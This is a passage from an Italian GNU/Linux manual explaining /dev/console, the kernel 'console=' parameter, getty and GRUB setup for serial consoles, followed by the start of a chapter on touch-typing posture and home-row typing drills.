crw-------   1 root     root       4,   0 mag  5  1998 /dev/tty0
crw-------   1 root     root       4,   1 mag  5  1998 /dev/tty1
crw-------   1 root     root       4,   2 mag  5  1998 /dev/tty2
crw-------   1 root     root       4,   3 mag  5  1998 /dev/tty3
crw-------   1 root     root       4,   4 mag  5  1998 /dev/tty4
crw-------   1 root     root       4,   5 mag  5  1998 /dev/tty5
crw-------   1 root     root       4,   6 mag  5  1998 /dev/tty6
crw-------   1 root     root       4,   7 mag  5  1998 /dev/tty7
crw-------   1 root     root       4,   8 mag  5  1998 /dev/tty8
crw-------   1 root     root       4,   9 mag  5  1998 /dev/tty9
```

Si osservi prima di tutto che il dispositivo '`/dev/console`' ha numero primario cinque e numero secondario uno, mentre in origine si utilizzavano i numeri 4,0, corrispondenti al dispositivo '`/dev/tty0`'. Se dovesse essere necessario, si possono creare questi due file di dispositivo con i comandi seguenti (si comincia dalla cancellazione di quelli vecchi).

`# rm /dev/console /dev/tty0` [*Invio*]

mknod -m 600 /dev/console c 5 1 [*Invio*]

mknod -m 600 /dev/tty0 c 4 0 [*Invio*]

Osservando i numeri primario e secondario dell'elenco mostrato, si comprende meglio lo scopo di questi file di dispositivo. I file di dispositivo '`/dev/tty1`', '`/dev/tty2`',... rappresentano ognuno una console virtuale; il file di dispositivo '`/dev/tty0`' rappresenta quella attiva, mentre '`/dev/tty`' rappresenta il terminale attivo, in senso più ampio.

La console è il terminale principale di un sistema, quello su cui devono apparire i messaggi di sistema più importanti e quello che viene usato dai programmi in mancanza d'altro. Quando GNU/Linux poteva gestire esclusivamente console rappresentate dalla tastiera dell'elaboratore e dall'adattatore grafico tradizionale, era corretto a considerare '`/dev/console`' un modo alternativo di identificare la console virtuale attiva; ma all'estendersi delle possibilità di GNU/Linux, diventa importante poter definire espressamente a cosa corrisponda tale dispositivo.

15.16.1 Definizione esplicita della console

Se non viene specificato diversamente, la console, cioè il dispositivo '`/dev/console`', corrisponde semplicemente alla prima unità in grado di assolvere allo scopo; nella maggior parte dei casi si tratta della console virtuale attiva in un certo momento.

Non esistendo un'unità fisica corrispondente univocamente alla console, questa può essere soltanto associata a un altro dispositivo esistente, come una console virtuale o un altro tipo di terminale. Con i kernel ≥ 2.2.* è possibile abbinare la console alla console virtuale attiva, a una console virtuale specifica o a una linea seriale. Per questo si interviene con un parametro del kernel.

console=***dispositivo*** [***, opzioni***]

Al parametro '**`console`**' può essere abbinato il dispositivo a cui si vuole fare riferimento, senza aggiungere il percorso ('`/dev/`') e, se necessario, possono essere aggiunte altre opzioni che riguardano la velocità, la parità e il numero di bit. Per esempio, il parametro '**`console=tty10`**', fa in modo che la decima console virtuale sia anche la console vera e propria.

Utilizzando il parametro '**`console`**', si stabilisce a cosa corrisponde il dispositivo '`/dev/console`'. Dipende dai programmi il fatto che tale dispositivo venga utilizzato o meno. In generale, questo significa che i messaggi più importanti appaiono lì; niente di più.

Se si avvia il kernel attraverso SYSLINUX, il parametro può essere fornito all'interno della direttiva '**`append`**', come si vede nell'esempio seguente:

```
LABEL linux
 KERNEL vmlinuz
 APPEND root=/dev/sda4 ro console=tty10
```

Con GRUB 1 si può inserire il parametro in coda all'istruzione '**`kernel`**':

```
kernel (hd0,5)/boot/vmlinuz-2.4.2 root=/dev/hda6 console=tty12 ro
```

15.16.2 Usare o non usare la console

È bene ribadire che la console è sempre ospitata da un altro terminale identificato in modo più preciso. Generalmente, '/dev/console' serve solo per avere un riferimento: il dispositivo a cui mandare i messaggi più importanti, contando che questi siano letti dall'interessato. In pratica, stando così le cose, il dispositivo '/dev/console' viene aperto sempre solo in scrittura per visualizzare qualcosa e mai, o quasi, per ricevere un inserimento dati da tastiera. Se poi la console corrisponde a un terminale su cui si sta lavorando normalmente, i messaggi diretti a questa servono per disturbare l'utente confondendogli il contenuto dello schermo.

Per poter interagire con un terminale qualunque, di solito si interviene nel file '/etc/inittab', specificando l'avvio di un programma Getty abbinato a un dispositivo di terminale determinato. Si osservi l'esempio:

```
…
1:12345:respawn:/sbin/getty tty1
2:2345:respawn:/sbin/getty tty2
3:2345:respawn:/sbin/getty tty3
4:2345:respawn:/sbin/getty tty4
5:2345:respawn:/sbin/getty tty5
6:2345:respawn:/sbin/getty tty6
…
```

Questo è già stato descritto nel capitolo precedente: si tratta dell'attivazione delle prime sei console virtuali, in modo che da quelle possa essere eseguito l'accesso. Tutte le altre console virtuali esistono ugualmente, solo che da quelle non si può fare nulla, a meno di «scriverci» inviando dei messaggi, oppure di utilizzare un programma che ci faccia qualcosa d'altro.

Se la console vera e propria viene abbinata a una console virtuale «libera», quello che si ottiene è di mandare lì i messaggi diretti alla console, così da non disturbare l'utente che sta usando una console virtuale; ma per il momento, questo non significa che la console venga utilizzata anche per accedere. Ma allora, si può accedere attraverso '/dev/console'? Sì, solo che non conviene, perché la console è sempre ospite di un altro tipo di terminale, per cui è meglio attivare un accesso su quel terminale, piuttosto che sulla console generica.

A titolo di esempio, ribadendo che non si tratta di una buona idea, si elencano i passi necessari per poter attivare un accesso su '/dev/console':

1. deve essere definito in modo esplicito a cosa corrisponde la console attraverso il parametro del kernel '**console**';
2. deve essere aggiunta una riga adatta nel file '/etc/inittab' per l'avvio di un programma Getty che utilizzi il dispositivo '/dev/console';
3. deve essere rimosso il file '/etc/ioctl.save' generato da Init, in quanto contiene l'impostazione iniziale di '**stty**' che la prima volta potrebbe essere incompatibile con le caratteristiche della connessione seriale.

Per definire che la console è abbinata a un dispositivo di terminale determinato, si può utilizzare il parametro del kernel '**console**', come è già stato mostrato; per l'attivazione del programma Getty si può aggiungere la riga seguente al file '/etc/inittab'.

```
7:12345:respawn:/sbin/getty -L 19200 console
```

Viene utilizzato proprio il programma '**getty**', con delle opzioni di compromesso, in modo da poter funzionare sia su una console virtuale di GNU/Linux, sia su un terminale seriale.

L'unico vantaggio di agire in questo modo, potrebbe essere quello di consentire l'avvio del sistema stabilendo di volta in volta quale sia la console attraverso un parametro del kernel.

15.16.3 Annotazioni per una console su un terminale seriale

Prima di poter attivare una console su un terminale seriale occorre essere in grado di attivare un terminale seriale normale. L'argomento può essere prematuro, ma serve per completare la discussione sulle problematiche riferite all'uso della console.

Per la gestione di una console su un terminale seriale occorre che il kernel sia stato predisposto per questo: sia per la gestione delle porte seriali, sia la gestione della console su terminale seriale (sezione 8.3.17).

L'abbinamento della console a un terminale seriale non ha nulla di complicato: basta utilizzare il parametro '**console**', indicare il dispositivo seriale opportuno e la velocità di trasmissione. Gli esempi seguenti sono equivalenti.

'**console=ttyS1,9600**'

'**console=ttyS1,9600n8**'

L'opzione '**9600n8**' rappresenta la velocità a 9600 bit/s, l'assenza di parità ('**n**') e la dimensione a 8 bit. In particolare, la parità potrebbe essere espressa attraverso altre lettere:

- '**n**' nessuna parità;
- '**o**' dispari (*odd*);
- '**e**' pari (*even*).

Questo basta a fare in modo che il terminale (configurato opportunamente secondo le stesse caratteristiche) connesso alla porta seriale specificata (nell'esempio è '`/dev/ttyS1`', cioè la seconda porta seriale) sia in grado di funzionare in qualità di '`/dev/console`'.

Le caratteristiche della connessione seriale che possono essere configurate sono molto poche. In particolare, è importante osservare che si sottintende un controllo di flusso hardware (RTS/CTS), per cui il cavo seriale utilizzato deve essere completo.

Se si vuole fare qualcosa di più della semplice visualizzazione dei messaggi emessi e destinati alla console, è necessario attivare un programma Getty, ma in tal caso bisogna stabilire se si vuole fare riferimento al terminale seriale effettivo, o alla console generica. Qualunque sia la scelta, si deve intervenire nel file '`/etc/inittab`'.

```
7:12345:respawn:/sbin/getty -L 9600 ttyS1 vt100
```

Quella che si vede sopra è la riga necessaria ad attivare direttamente il terminale connesso alla seconda porta seriale; l'esempio successivo riguarda invece la console generica.

```
7:12345:respawn:/sbin/getty -L 9600 console
```

Se la console seriale deve poter sostituire completamente il video e la tastiera dell'elaboratore, è necessario rendere consapevole di questo anche il sistema di avvio di GNU/Linux, in modo che l'invito di avvio (il *bootprompt*) appaia sul terminale giusto. GRUB 1 è in grado di farlo attraverso le direttive seguenti:

```
serial --unit=n_porta_seriale --speed=velocità [--dumb]
```

In questo modo si può definire la porta seriale e la velocità, dove rimane implicito il fatto che si usino byte interi senza parità. In particolare, GRUB 1 prevede che si tratti di un terminale compatibile con lo standard VT100; se le cose non fossero così, si può inserire l'opzione '**--dumb**', come si vede nel modello sintattico.

Tuttavia, la direttiva indicata serve solo a definire l'esistenza di un terminale aggiuntivo, attraverso la porta seriale. Per attivare effettivamente il suo utilizzo, è necessaria la direttiva '**terminal**':

```
terminal serial [console]
```

Con '**terminal serial**' si stabilisce l'uso del terminale seriale come console per l'avvio; se si aggiunge anche la parola chiave '**console**', si fa in modo di consentire la scelta: è sufficiente premere un tasto sul terminale per selezionare implicitamente la console ai fini dell'uso di GRUB 1. Segue un esempio completo del file di configurazione di GRUB 1:

```
default 0
timeout 5

title Console su terminale seriale
kernel (hd0,5)/boot/vmlinuz root=/dev/hda6 console=ttyS1,9600 ro
serial --unit=1 --speed=9600
terminal serial

title Console normale
kernel (hd0,5)/boot/vmlinuz root=/dev/hda6 ro
```

Prima di provare l'uso di una console seriale, occorre essere certi che il terminale seriale funzioni, attraverso programmi come Minicom, anche attivando semplicemente il terminale senza attribuirgli il livello di console. Infine, è importante cancellare il file '/etc/ioctl.save' prima di provare.

15.17 Riferimenti

- Richard Polt, *The classic typewriter page*

  ⟨*http://site.xavier.edu/polt/typewriters/* ⟩

- Darryl Rehr, *The QWERTY connection*

  ⟨*http://home.earthlink.net/~dcrehr/* ⟩

- *1000 bit*

  ⟨*http://www.1000bit.it/ad/bro/brochures.asp* ⟩

- *Computermuseum München: Olivetti*

  ⟨*http://www.computermuseum-muenchen.de/computer/olivetti/* ⟩

- R. A. Nelson, *History of teletype development*, 1963

  ⟨*http://www.thocp.net/hardware/history_of_teletype_development_.htm* ⟩

  ⟨*http://www.rtty.com/history/nelson.htm* ⟩

  ⟨*http://www.kekatos.com/teletype/History_Of_Teletype_Development_2.htm* ⟩

- Frank da Cruz, *Columbia University computing history, a chronology of computing at Columbia University*

  ⟨*http://www.columbia.edu/acis/history/* ⟩

- *IBM Radiotype*

  ⟨*http://www-03.ibm.com/ibm/history/exhibits/specialprod1/specialprod1_3.html* ⟩

  ⟨*http://www-03.ibm.com/ibm/history/exhibits/specialprod1/specialprod1_4.html* ⟩

- *The historical meaning of ASCII Control Characters*

  ⟨*http://www.rootr.net/ascii_control_meaning.html* ⟩

- Robert McConnell, James Haynes, Richard Warren, *Understanding ASCII Codes*

  ⟨*http://www.nadcomm.com/ascii_code.htm* ⟩

- Jukka Korpela, *Ascii control codes (control characters, C0 controls)*

  ⟨*http://www.cs.tut.fi/~jkorpela/chars/c0.html* ⟩

- Tom Jennings, *History of character codes*

  ⟨*http://wps.com/projects/codes/index.html* ⟩

- *International register of coded character sets to be used with escape sequences*

  ⟨*http://www.itscj.ipsj.or.jp/ISO-IR/overview.htm* ⟩

- *C0 control characters set*, 1987

  ⟨*http://www.itscj.ipsj.or.jp/ISO-IR/140.pdf* ⟩

- *ISO/IEC 9995:1994, Information technology -- Keyboard layouts for text and office systems*

  ⟨*http://www.iso.org* ⟩

- *Pictogrammes ISO 9995-7*
  ⟨*http://pages.infinit.net/pm2/lexique4.htm* ⟩
- *Unicode, Miscellaneous Technical, Range: 2300-23FF*
  Unicode, Control Pictures, Range: 2400-2426
  ⟨*http://www.unicode.org/charts/PDF/U2300.pdf* ⟩
  ⟨*http://www.unicode.org/charts/PDF/U2400.pdf* ⟩
- Alex Buell, *Framebuffer HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Wikipedia, *VESA BIOS Extensions*
  ⟨*http://en.wikipedia.org/wiki/VESA_BIOS_Extensions* ⟩
- Chris Bagwell, *The Linux busmouse HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Davi S. Lauer, Greg Hankins, *Serial HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

[1] **Linux console font and keytable utilities** dominio pubblico, salva la licenza particolare di alcuni tipi speciali di carattere

[2] **Linux console font and keytable utilities** dominio pubblico, salva la licenza particolare di alcuni tipi speciali di carattere

[3] **Linux console font and keytable utilities** dominio pubblico, salva la licenza particolare di alcuni tipi speciali di carattere

[4] **Linux console font and keytable utilities** dominio pubblico, salva la licenza particolare di alcuni tipi speciali di carattere

[5] **Linux console font and keytable utilities** dominio pubblico, salva la licenza particolare di alcuni tipi speciali di carattere

[6] **GNU core utilities** GNU GPL

[7] **GNU core utilities** GNU GPL

[8] **Ncurses** software libero con licenza speciale FSF

[9] **Ncurses** software libero con licenza speciale FSF

[10] Per terminare l'utilizzo di '`mc`' si può utilizzare la sequenza [*Esc*][*0*] se non funziona il tasto [*F10*].

[11] **Ncurses** software libero con licenza speciale FSF

[12] **Linux console tools** GNU GPL

[13] **Linux console font and keytable utilities** dominio pubblico, salva la licenza particolare di alcuni tipi speciali di carattere

[14] **Linux console tools** GNU GPL

[15] **General purpose mouse interface utility** GNU GPL

[16] **Script** UCB BSD

[17] **Open** GNU GPL

[18] **Switchto** GNU GPL

[19] **Screen** GNU GPL

[20] **Pconsole** GNU GPL

[21] **Mingetty** GNU GPL

[22] **Agetty** non specifica alcuna condizione, tuttavia viene indicato come «distribuibile liberamente» e di norma viene distribuito con la licenza GNU-GPL

Capitolo 16

Utilizzo corretto della tastiera

16.1 Posizione 677

16.2 Disposizione delle dita sui tasti 677

16.3 Esercizi di digitazione: la riga base 680

16.3.1 Esercizi sui tasti base: mano sinistra 680
16.3.2 Esercizi sui tasti base: mano destra 681
16.3.3 Esercizi sui tasti base: entrambe le mani 681
16.3.4 Esercizi sui tasti base con lo spostamento degli indici 683
16.3.5 Esercizi sui tasti base con lo spostamento aggiuntivo del mignolo destro . . 684
16.3.6 Esercizi sulla riga base con l'uso delle maiuscole 685

16.4 Esercizi di digitazione: la riga superiore 686

16.4.1 Esercizi sui tasti della riga superiore: mano sinistra 686
16.4.2 Esercizi sui tasti della riga superiore: mano destra 687
16.4.3 Esercizi sui tasti della riga superiore con entrambe le mani 688
16.4.4 Esercizi con l'aggiunta delle lettere maiuscole 690

16.5 Esercizi di digitazione: la riga inferiore 691

16.5.1 Esercizi sui tasti della riga inferiore: mano sinistra 691
16.5.2 Esercizi sui tasti della riga inferiore: mano destra 692
16.5.3 Esercizi sui tasti della riga inferiore con entrambe le mani 692
16.5.4 Esercizi con l'aggiunta delle lettere maiuscole 693

16.6 Esercizi di digitazione: conclusione 694

16.6.1 Favole di Esopo 694

16.7 Livelli ulteriori 696

16.8 Ktouch 697

16.8.1 Avvio e configurazione 697
16.8.2 Esercizio con Ktouch 699
16.8.3 Personalizzazione della tastiera 700
16.8.4 Personalizzazione degli esercizi 706

16.9 Gtypist 712

16.9.1 Avvio 712
16.9.2 Personalizzazione degli esercizi 713

16.10 Typeit 721

16.10.1 Esempio di utilizzo 722

16.10.2 Menù di file 725
16.10.3 Preparazione degli esercizi 726
16.10.4 Il file «typeit-view» 726
16.10.5 Il file «typeit-blind» 732

`gtypist` 712 `ktouch` 697 `typeit-blind` 721 `typeit-view` 721

La tastiera di un elaboratore, così come quella della macchina da scrivere di un tempo, è fatta per essere usata con tutte le dita di entrambe le mani. La digitazione corretta richiede un po' di esercizio e delle piccole attenzioni, con cui si può evitare di affaticarsi inutilmente e di danneggiare i tendini.

Figura 16.1. Disegno tratto da un manifesto pubblicitario della macchina da scrivere Empire, approssimativamente dell'anno 1895. Si vede una giovane donna in una posizione abbastanza vicina a quella corretta, a parte il fatto che ha appena sollevato le mani dalla tastiera della macchina. La disposizione delle braccia e dei polsi è abbastanza corretta; tuttavia, la sedia non consente di appoggiare la schiena, per cui il busto pende in avanti, mentre dovrebbe trovarsi in posizione eretta.

16.1 Posizione

La posizione corretta, davanti a una tastiera e a uno schermo, è molto importante, per evitare di affaticarsi inutilmente. Le regole da seguire sono molto semplici.

Le mani si appoggiano sulla tastiera disponendo inizialmente i polpastrelli delle dita sulla riga base (come viene descritto in un'altra sezione) e da quella posizione bisogna poter raggiungere facilmente i tasti delle maiuscole con i mignoli: per fare questo, le braccia devono essere abbastanza distese da permettere tali movimenti senza sforzo.

Le mani dovrebbero trovarsi leggermente più in basso dei gomiti, i quali, a loro volta, si dovrebbero staccare leggermente dal corpo della persona. In questo modo si dovrebbe garantire un flusso sanguigno regolare fino alle dita delle mani. Per evitare di danneggiare i tendini, **è necessario che i polsi non siano piegati o contorti**. In pratica, le mani dovrebbero essere sullo stesso asse degli avambracci. Il corpo stesso dovrebbe essere seduto in modo da avere la schiena eretta, trovando la parte superiore dello schermo al massimo all'altezza degli occhi.

Rispetto alla macchina da scrivere meccanica della prima parte del 1900, la tastiera da elaboratore richiede di poter appoggiare i polsi; eventualmente, la disponibilità di un tavolo con una profondità tale da poter appoggiare completamente gli avambracci, migliora la situazione.

16.2 Disposizione delle dita sui tasti

Le mani si appoggiano sulla tastiera ponendo inizialmente i polpastrelli sui tasti della ***riga base***. Per la precisione, secondo la disposizione italiana dei simboli: mignolo, anulare, medio e indice della mano sinistra si appoggiano, rispettivamente, sui tasti [*a*], [*s*], [*d*] e [*f*]; indice, medio, anulare e mignolo della mano destra si appoggiano, rispettivamente sui tasti [*j*], [*k*], [*l*] e [*ò*]. I pollici si appoggiano sulla [*barra–spaziatrice*] e si usano solo per inserire gli spazi.

Figura 16.2. Tasti «base».

Dalla posizione base, le dita si spostano temporaneamente per raggiungere gli altri tasti, di volta in volta, quando devono essere premuti. Nelle figure, vengono usati dei colori per evidenziare i tasti di competenza di ogni dito: giallo per il mignolo, azzurro per l'anulare, verde per il medio e viola per l'indice. Eventualmente, alla fine del capitolo viene mostrata una mappa completa, dove la suddivisione dei tasti risulta visibile anche con una stampa eseguita con il solo colore nero.

L'assegnazione dei tasti alle dita rispettive, può subire dei piccoli cambiamenti, in base alle caratteristiche e all'inclinazione della tastiera. A tale proposito, anche i corsi di digitazione possono mostrare mappe differenti della distribuzione dei tasti. In questo capitolo e in quelli successivi, contenenti delle lezioni di addestramento, si fa riferimento a una mappa che sembra essere la più naturale, ma nulla vieta di provare a utilizzare una mappa leggermente differente.

Figura 16.3. Divisione della tastiera nelle competenze di ogni dito. Sono stati colorati con un giallo più scuro i tasti che vanno premuti con il mignolo, ma non producono la scrittura di alcun simbolo; inoltre, sono colorati in grigio i tasti da premere con i pollici. Si osservi che la lettera «B» dovrebbe essere equidistante dagli indici delle due mani, pertanto potrebbe essere premuta con l'uno o con l'altro; eventualmente, anche il numero «6» potrebbe essere ottenuto con entrambi gli indici, tuttavia dovrebbe risultare leggermente più vicino all'indice sinistro.

La scrittura di uno spazio va fatto con l'ausilio della barra spaziatrice, usando, a scelta, uno dei due pollici. Per scrivere qualche lettera maiuscola, si preferisce premere il tasto delle maiuscole, scegliendo quello vicino al mignolo dell'altra mano. Per esempio, per scrivere la lettera «A» maiuscola, si preme il tasto delle maiuscole destro, perché la mano sinistra è già impegnata.

Per l'addestramento sull'uso corretto della tastiera, si fanno normalmente degli esercizi molto semplici, con i quali si prende confidenza, prima con i tasti della riga base, quindi con gli altri gruppi di tasti, ma puntando principalmente sull'uso della porzione alfabetica, non accentata. Si tratta di esercizi che possono sembrare noiosi, ma ciò che conta è che siano eseguiti senza guardare la tastiera, in modo da acquisire il più presto possibile la manualità necessaria.

Quando si è in grado di scrivere un testo alfabetico, anche senza accenti, ma senza guardare la tastiera, si ha raggiunto un buon livello di abilità e per la parte restante della tastiera, è tollerabile il fatto di dare una sbirciatina ogni tanto.

Per l'addestramento è sufficiente l'uso di un programma per la scrittura di file di testo, assieme a un eserciziario con gli esempi da digitare. A questo proposito, nei capitoli seguenti vengono proposti degli esercizi da svolgere proprio in questo modo. Eventualmente, sono disponibili anche dei programmi che evitano di dover togliere lo sguardo dallo schermo, durante gli esercizi.

mignolo
anulare
medio
indici
pollici
medio
anulare
mignolo

16.3 Esercizi di digitazione: la riga base

La riga base è quella che contiene i tasti dove si appoggiano inizialmente i polpastrelli delle dita, esclusi i pollici che si appoggiano sulla barra spaziatrice.

Per andare a capo, alla fine di ogni riga, si preme il tasto [*Invio*], con il mignolo della mano destra. Per farlo, di norma è necessario spostare tutta la mano destra, per poi riprendere la posizione iniziale sui tasti base.

16.3.1 Esercizi sui tasti base: mano sinistra

Questi esercizi vanno svolti cercando di non sollevare le dita dai tasti base, dal momento che non c'è la necessità di raggiungere altri tasti.

Esercizio 16.6.

```
asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf
fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa
afsd afsd afsd afsd afad afsd afsd afsd afsd afsd
fads fads fads fads fads fads fads fads fads fads
asfd asfd asfd asfd asfd asfd asfd asfd asfd asfd
fdas fdas fdas fdas fdas fdas fdas fdas fdas fdas
sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf
```

Esercizio 16.7.

```
ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
```

16.3.2 Esercizi sui tasti base: mano destra

Questi esercizi vanno svolti cercando di non sollevare le dita dai tasti base, dal momento che non c'è la necessità di raggiungere altri tasti.

Esercizio 16.9.

```
jklò jklò jklò jklò jklò jklò jklò jklò jklò jklò
òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj
jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl
òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk
jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl
òljk òljk òljk òljk òljk òljk òljk òljk òljk òljk
kljò kljò kljò kljò kljò kljò kljò kljò kljò kljò
```

Esercizio 16.10.

```
jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò
jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk
òklj òklj òklj òklj òklj òklj òklj òklj òklj òklj
òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl
kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl
kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl
klòj klòj klòj klòj klòj klòj klòj klòj klòj klòj
```

16.3.3 Esercizi sui tasti base: entrambe le mani

Questi esercizi vanno svolti cercando di non sollevare le dita dai tasti base, dal momento che non c'è la necessità di raggiungere altri tasti.

Esercizio 16.12.

```
ad adala add adds ads afa aj aja ajada al ala
alada alafa alas alfa alfaja alfalfa alfalfal
alfas all alla als as asa asada ask asks ass da
dad dada dadas dads dal dala dalla dl dò fa fad
fada fads faja fajada falda fall falla fallada
falls falò falsa falsada fas ff flak flaks flask
flasks ja jada jalda jaldada jas jasa ka ks la lad
lada lads laja las lasa lass lassa lfd ls sa sad
saja sajada sal sala salad salada salads salassa
salassò salda saldò salò salsa salsas sas sass
```

Esercizio 16.13.

```
sass sas salsas salsa salò saldò salda salassò
salassa salads salada salad sala sal sajada saja
sad sa ls lfd lassa lass lasa las laja lads lada
lad la ks ka jasa jas jaldada jalda jada ja flasks
flask flaks flak ff fas falsada falsa falò falls
fallada falla fall falda fajada faja fads fada fad
fa dò dl dalla dala dal dads dadas dada dad da ass
asks ask asada asa as als alla all alfas alfalfal
alfalfa alfaja alfa alas alafa alada ala al ajada
aja aj afa ads adds add adala ad
```

16.3.4 Esercizi sui tasti base con lo spostamento degli indici

Questi esercizi vanno svolti spostando soltanto gli indici quando ciò diventa necessario, per riportarli subito dopo sul loro tasto base di riferimento.

Esercizio 16.15.

```
slash slags slag shall shahs shah shags shag shads
shad sh sass sash sas salsas salsa salò salgada
salga saldò salda salassò salassa salads salada
salad sala sal sajada saja sah sags sagas saga sag
sad sa ls llaga lfd lassa lass lash lasa las laja
lags lag lads lada lad la ks kg kahl ka jasa jas
jaldada jalda jags jaga jag jada ja hl hg hash has
halls hallada hall half haldada halda hala hahs
hah hags hag hadada hada had ha gs glass glas
glads glad ggf gash gasajada gasa gas gals galls
```

Esercizio 16.16.

```
galla gall galga galas gala gal gags gaga gag
gaffs gaff gafa gads gad flasks flask flash flaks
flak flags flag ff fas falsada falsa falò falls
fallada falla fall falda fajada faja fahl fags fag
fads fada fad fa dò dl dg dash dalla dalaga dala
dal daga dads dadas dada dad da ass asks ask ash
asada asa as als allg allagò allaga alla all
alhaja alga alfas alfalfal alfalfa alfaja alfa
alas alafa alada ala al ajada aja aj ahas aha ah
agallada agalla afa ads adds add adala adahala ad
```

16.3.5 Esercizi sui tasti base con lo spostamento aggiuntivo del mignolo destro

Questi esercizi vanno svolti spostando soltanto gli indici e il mignolo della mano destra, quando ciò diventa necessario, per riportarli subito dopo sul loro tasto base di riferimento.

Esercizio 16.18.

```
ad adahala adala add adds ads afa agalla agallada
ah aha ahas aj aja ajada al ala alada alafa alas
alfa alfaja alfalfa alfalfal alfas alga alhaja all
alla allaga allagò allg als as asa asada ash ask
asks ass da dà dad dada dadas dads daga dal dala
dalaga dalla dash dg dl dò fa fad fada fads fag
fags fahl faja fajada falda fall falla fallada
falls falò falsa falsada fas ff flag flags flak
flaks flash flask flasks gad gads gafa gaff gaffs
gag gaga gags gal gala galas galga gall galla
```

Esercizio 16.19.

```
galls gals gas gasa gasajada gash ggf glad glads
glas glass gs ha had hada hadada hag hags hah hahs
hala halda haldada half hall hallada halls has
hash hg hl ja jada jag jaga jags jalda jaldada jas
jasa ka kahl kg ks la là lad lada lads lag lags
laja las lasa lash lass lassa lfd llaga ls sa sad
sag saga sagas sags sah saja sajada sal sala salad
salada salads salassa salassò salda saldò salga
salgada salò salsa salsas sas sash sass sh shad
shads shag shags shah shahs shall slag slags slash
```

16.3.6 Esercizi sulla riga base con l'uso delle maiuscole

Per ottenere le maiuscole si preme uno dei due tasti delle maiuscole, seguito dal tasto da rendere maiuscolo. I tasti delle maiuscole si premono con il mignolo della mano che non viene impegnata poi per la pressione del tasto con il carattere da rendere maiuscolo. Per esempio, per ottenere la lettera «H» maiuscola, si usa il mignolo della mano sinistra per il tasto delle maiuscole, in modo che con l'indice della mano destra si possa premere poi il tasto della lettera da scrivere.

Esercizio 16.21.

```
slash slags slag Skala shall Shaka shahs shah
shags shag shads shad Sh sh sass Sasha sash SAS
sas salsas salsa salò Salk salgada salga saldò
salda salassò salassa Salas salads salada salad
sala Sal sal Saks Sakha sajada saja sah sags sagas
Saga saga sag sad Saal sa LSD ls llaga Lhasa lfd
Lassa lassa lass lash lasa las laja lags lag lads
lada lad laça là La la ks kg Kalk kahl Kafka Kaff
ka Jg JFK jasa jas jaldada jalda jags Jagd jaga
jag Jaffa jada ja hl Hg hg Hf Hd hash has Hals
```

Esercizio 16.22.

```
halls hallada Hall hall half haldada halda hala
Hal Hakka hahs hah hags hag hadada hada had Haas
Haag ha gs Glass glass Glas glas glads glad glaça
ggf Gd gash gasajada gasa Gas gas gals galls galla
Gall gall galga galas Galahads Galahad Gala gala
gal gags gaga Gag gag gaffs gaff gafa gads gad Ga
FSF flasks flask flash flaks Flak flak flags flag
Fla FG FF ff FDJ Fassa fas falsada falsa falò
falls fallada falla Fall fall falda Falasha fajada
```

Esercizio 16.23.

```
faja fahl Fahd fags fag fads fada fad Fa fa dò dl
Dhaka dg dash Dallas dalla dalaga dala dal daga
dads dadas Dada dada dad dà da çà ça Assad ass
asks ask ash asada asa As as als allg Allah allagò
allaga alla All all alhaja alga alfas alfalfal
alfalfa alfaja Alfa alfa Alf Alaska alas alafa
alada Ala ala Al al Akkad ajada aja aj ahas aha ah
Agfa agallada agalla agaça AG Ag AfA afa ads adds
add adala adahala Ada ad Aas Aal
```

16.4 Esercizi di digitazione: la riga superiore

La riga superiore è quella riga di tasti che si trova sopra alla riga base. Per digitare i tasti della riga superiore occorre sollevare temporaneamente le dita necessarie dalla riga base, per poi ritornare ai tasti base rispettivi.

16.4.1 Esercizi sui tasti della riga superiore: mano sinistra

Nelle mappe proposte in questi esercizi, si attribuisce il tasto [*r*] al dito indice (della mano sinistra). Tuttavia, se il proprio dito medio è molto più lungo rispetto all'indice, potrebbe essere più facile raggiungere il tasto [*r*] proprio con il dito medio.

Esercizio 16.25.

```
adagereste adattate adatte addestrata afa affare
afferrereste afferrerete affettereste affetterete
affrettereste affretterete araste arata arerete
arreda arrederete arresa arrestereste arresterete
arretrereste arretrerete asse assesta assesterete
assetata atta atte atterrata atterrate attestasse
attestaste attrasse daffare dataste datata degrada
degradare derrata derrate destaste destata
```

Esercizio 16.26.

```
detergere detersa detestate detestereste dettate
dette era ere errare errasse erte esagera
esagererete esatta estate estesa fara fare fatte
fede feste fetta fredde frega gas gatta gettate
gettereste grate gratta gratterete gregge
raffreddaste raffreddata rasare rasasse rassetta
rassettare rata rate regge reggere restasse
restaste rete retta sarta sarte sedata sedate sega
```

Esercizio 16.27.

```
segare segregata segregate serrare serrasse sesta
seta sfere sfratta sfratterete sfrega sgrassare
sgrassasse stadera staffa stasera stata strada
strade stretta strette tardasse tardaste targa
tartassa tartasserete tassa tassereste tasserete
tastereste tasterete terrestre tersa tesserare
tesserasse tessereste tesserete testata testate
trae trarre trattaste trattata
```

16.4.2 Esercizi sui tasti della riga superiore: mano destra

